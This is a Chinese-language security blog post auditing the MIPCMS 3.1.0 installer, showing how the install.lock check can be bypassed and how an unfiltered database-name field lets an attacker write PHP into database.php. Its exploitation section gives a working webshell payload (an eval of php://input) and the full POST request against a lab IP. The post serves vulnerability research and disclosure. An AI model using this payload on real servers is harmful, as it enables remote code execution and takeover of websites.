MIPCMS 远程写入配置文件Getshell

admin 2018年5月8日15:40:09评论611 views字数 4783阅读15分56秒阅读模式
摘要

MIPCMS - 基于百度MIP移动加速器SEO优化后的网站系统。
在审计代码中,发现一个可以远程写入配置文件Getshell的漏洞,感觉挺有意思的,分享一下思路。


0x00 前言

MIPCMS - 基于百度MIP移动加速器SEO优化后的网站系统。
在审计代码中,发现一个可以远程写入配置文件Getshell的漏洞,感觉挺有意思的,分享一下思路。

0x01 环境搭建

网站源码版本:MIPCMS内容管理系统 V3.1.0(发布时间:2018-01-01)

0x02 代码分析

1、漏洞文件位置:/app/install/controller/Install.php 第13-23行:

public function index()  {       if (is_file(PUBLIC_PATH . 'install' . DS .'install.lock')) {           header('Location: ' . url('@/'));           exit();        }       if (!defined('__ROOT__')) {           $_root = rtrim(dirname(rtrim($_SERVER['SCRIPT_NAME'], '/')), '/');           define('__ROOT__', (('/' == $_root || '//' == $_root) ? '' : $_root));        } 

在index函数中,检测是否存在install.lock文件,判断网站是否已经安装,检测是在index函数中,非初始化函数中,故在接下来的安装过程中,如果没有继续检测lock文件,那么就存在一个绕过的情况,进行CMS重装。我们继续往下看,同文件下的函数,第118-142行:

public function installPost(Request $request) {                    header('Access-Control-Allow-Origin: *');                    header('Access-Control-Allow-Credentials: true');                    header('Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS');                    header('Access-Control-Allow-Headers: Content-Type, Content-Range,access-token, secret-key,access-key,uid,sid,terminal,X-File-Name,Content-Disposition, Content-Description');                    if (Request::instance()->isPost()) {                    $dbconfig['type']="mysql";                    $dbconfig['hostname']=input('post.dbhost');                    $dbconfig['username']=input('post.dbuser');                    $dbconfig['password']=input('post.dbpw');                    $dbconfig['hostport']=input('post.dbport');                    $dbname=strtolower(input('post.dbname'));                    $username = input('post.username');                    $password = input('post.password');                    $rpassword = input('post.rpassword');                    if (!$username) {                       return jsonError('请输入用户名');                    }                    if (!$password) {                       return jsonError('请输入密码');                    }                     if (!$rpassword) {                       return jsonError('请输入重复密码');                     }  

我们可以直接跳转到这一步,绕过index函数中install.lock的检测。可以看到,这段installPost函数中获取了多个参数,并没有检测lock文件,继续往下看:

 $dsn = "mysql:dbname={$dbname};host={$dbconfig['hostname']};port={$dbconfig['hostport']};charset=utf8";     try {         $db = new /PDO($dsn, $dbconfig['username'], $dbconfig['password']);     } catch (/PDOException $e) {       return jsonError('错误代码:'.$e->getMessage());     }     $dbconfig['database'] = $dbname;     $dbconfig['prefix']=trim(input('dbprefix'));      $tablepre = input("dbprefix");      $sql = file_get_contents(PUBLIC_PATH.'package'.DS.'mipcms_v_3_1_0.sql');       $sql = str_replace("/r", "/n", $sql);       $sql = explode(";/n", $sql);       $default_tablepre = "mip_";       $sql = str_replace(" `{$default_tablepre}", " `{$tablepre}", $sql);       foreach ($sql as $item) {        $item = trim($item);        if(empty($item)) continue;        preg_match('/CREATE TABLE `([^ ]*)`/', $item, $matches);        if($matches) {            if(false !== $db->exec($item)){              } else {               return jsonError('安装失败');            }        } else {            $db->exec($item);        }    } 

这段函数对获取的参数进行检测,Mysql数据库连接失败会报错退出,接着进行导入数据库操作。继续往下看,第172-192行:

 if(is_array($dbconfig)){         $conf = file_get_contents(PUBLIC_PATH.'package'.DS.'database.php');        foreach ($dbconfig as $key => $value) {            $conf = str_replace("#{$key}#", $value, $conf);        }        $install = CONF_PATH;         if(!is_writable($install)){           return jsonError('路径:'.$install.'没有写入权限');         }        try {           $fileStatus = is_file(CONF_PATH. '/database.php');          if ($fileStatus) {                unlink(CONF_PATH. '/database.php');            }           file_put_contents(CONF_PATH. '/database.php', $conf);           return jsonSuccess('配置文件写入成功',1);        } catch (Exception $e) {            return jsonError('database.php文件写入失败,请检查system/config 文件夹是否可写入');        } 

在installPost函数的最后,将参数写入到配置文件database.php中,而且并未对参数进行任何过滤或转义,攻击者可以构造脚本代码写入配置文件。
综上,首先程序流程不严谨,可以绕过install.lock检测进入installPost函数中,可直接进行CMS重装,或者通过构造参数将脚本代码写入配置文件,进一步去触发脚本代码,控制网站服务器。

0x03 漏洞利用

模拟环境:网站服务器IP:192.168.8.131 攻击者服务器IP:192.168.8.1
漏洞利用方式一:CMS重装
1、本地搭建mysql服务,新建数据库mipcms,然后安装MIPCMS
2、构造Payload成功写入配置文件
MIPCMS 远程写入配置文件Getshell

漏洞利用方式二:远程写入配置文件Getshell
1、如何去构造Payload
难题1:构造的参数在Mysql连接中,必须连接成功,不然程序就报错退出了。在写入配置文件中,我们能够控制的参数有5个参数,到底哪个参数能利用呢?
写入配置文件的形式如下:

return [        'hostname'       => '127.0.0.1',    // 服务器地址        'database'       => 'test',         // 数据库名        'username'       => 'root',         // 用户名        'password'       => 'root',         // 密码        'hostport'       => '3306',         // 端口     ];  

为了能让Mysql连接成功,我们需要自己搭建一个Mysql服务,让程序连接不会报错,这样才能继续利用。另外,在5个参数中,服务器地址和端口是不能改的,用户名限制不能超过16位,Mysql的密码是加密也不好利用,唯一剩下可以利用的就是数据库名,要建立一个与Payload名字一样的数据库名,才能连接成功。

难题2:写入配置文件的时候,大写会全部转化为小写,那么全局变量$_GET等,全局不能利用:为此,测试了不少一句话木马,尝试通过加密来解决问题,但一直没成功,最终,灵感突现,直接放弃$_GET/$_POST,利用php://input实现的webshell,就不必纠结于大小写了。
最终数据库名的Payload:test',1=>eval(file_get_contents('php://input')),'xx'=>'
这个数据库名,是让我觉得觉得最有意思的点。
MIPCMS 远程写入配置文件Getshell

过程2:访问网站服务器(192.168.8.131)提交Payload写入配置文件

Payload:
http://192.168.8.131/index.php?s=/install/Install/installPost
POST:username=admin&password=admin&rpassword=admin&dbport=3306&dbname=test',1=>eval(file_get_co
ntents('php://input')),'xx'=>'&dbhost=192.168.8.1&dbuser=root&dbpw=root

MIPCMS 远程写入配置文件Getshell

进一步去触发脚本代码,执行系统命令,whoami查看网站服务器当前用户为administrator:
MIPCMS 远程写入配置文件Getshell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2018年5月8日15:40:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MIPCMS 远程写入配置文件Getshellhttps://cn-sec.com/archives/51093.html

发表评论

匿名网友 填写信息